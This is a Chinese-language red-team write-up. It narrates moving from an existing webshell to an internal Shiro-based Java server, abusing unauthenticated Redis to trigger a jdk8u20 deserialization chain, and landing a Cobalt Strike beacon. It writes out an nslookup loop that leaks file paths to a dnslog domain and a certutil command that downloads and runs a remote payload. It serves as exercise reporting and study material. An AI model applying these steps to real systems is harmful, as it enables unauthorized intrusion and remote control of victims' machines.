声明
免责声明:本文为个人作品,只做技术研究,只可用于正常的技术交流与学习,不可用于灰黑产业,不可从事违法犯罪行,严禁利用本文所介绍的技术进行未授权的恶意攻击,否则,后果自负!!!
一 :背景
最近参加某攻防演练活动,在内网中遇到一个java web网站(使用shiro组件),最后从未授权redis写key到cs上线。
二:过程
通过前期已经在一个边缘主机拿到了冰蝎马,使用fscan 扫描内网,发现一个网站用了shiro
浏览器开代理打开网站
发现这个8080端口刚好就是外网网站对应的内网服务器,该服务器为windows,无法写任务计划和ssh公钥拿shell,为了扩大战果,尝试对该网站进行测试,使用shiro exp打了一圈无果,登陆也没有弱口令,再看fscan扫描结果时,还发现该服务器开了,6379端口,且没有密码,如下
刚好之前看到过一篇文章
跟我的环境几乎一致,于是开始盘他
首先改了下文章给的脚本,因为我的shiro 在redis对应key肯定和他不一样
二个就是,每次把key写进去都要用burp 指定jsessionid 为写进去的key,发一次请求,来触发服务器执行反序列化操作,
使用了 cb 1.93和1.82版本都不行,又尝试了pysyo库的所有cc链都不成功。最后试了jdk7u21和jdk8u20原生库,发现jdk8u20执行后服务器报错了。
dnslog 成功收到了请求
当前用户
下一步就是 拿shell了,
三:getshell
0x1 添加用户(失败)
通过前期收集信息,服务器还开了3389,直接尝试 net user添加用户,发现请求被阻断了,怀疑有火绒限制。
按照这个方法,之前在别的电脑成功过,
在这里试了下,也不行。
0x2 写马(失败)
然后尝试写冰蝎到web目录,这里只能通过dnslog 看回显
在网页上随便找一个图片,然后redis写入以下命令
cmd /c for /r c: %i in (bj1.jpg*) do nslookup %i.lr5dyr.dnslog.cn
成功找到, \ 是特殊符号,拼接域名的时候会忽略掉,但是已经能知道了,目录在
x盘:\xxxx\apache-xxxx-server\webapps\ROOT\WEB-INF\classes\static\img\sysimg\bj1.jpg.o4shl8.dnslog.cn
然后用certutil 把冰蝎马加密成base64 用echo写到服务器的目录里,这一步成功了,
但是在服务器上把加密的txt还原成jsp时网络又被阻断了,再次也失败了
0x3 cs上线DNS马(成功)
因为没有免杀的马,但是本着试试的态度,直接用certutil -urlcache -split -f http://ip/artifact.exe 把dns马下载到服务器上运行(ps这个马是先传到一台内网的weblogic上面的,也是之前打下来的),幸运的是直接上线了
后面上去看了下,这个服务器是可以出网的,我的jsp马也是成功写入了,net user添加用户的时候,我的密码不符合强度策略。。但是没搞懂为啥写马会被阻断,估计有流量防火墙?,在这台机器又转成http马,cs操作快多了。又上传了gost,可以愉快的内网渗透了
四:总结
还是得把java安全学好!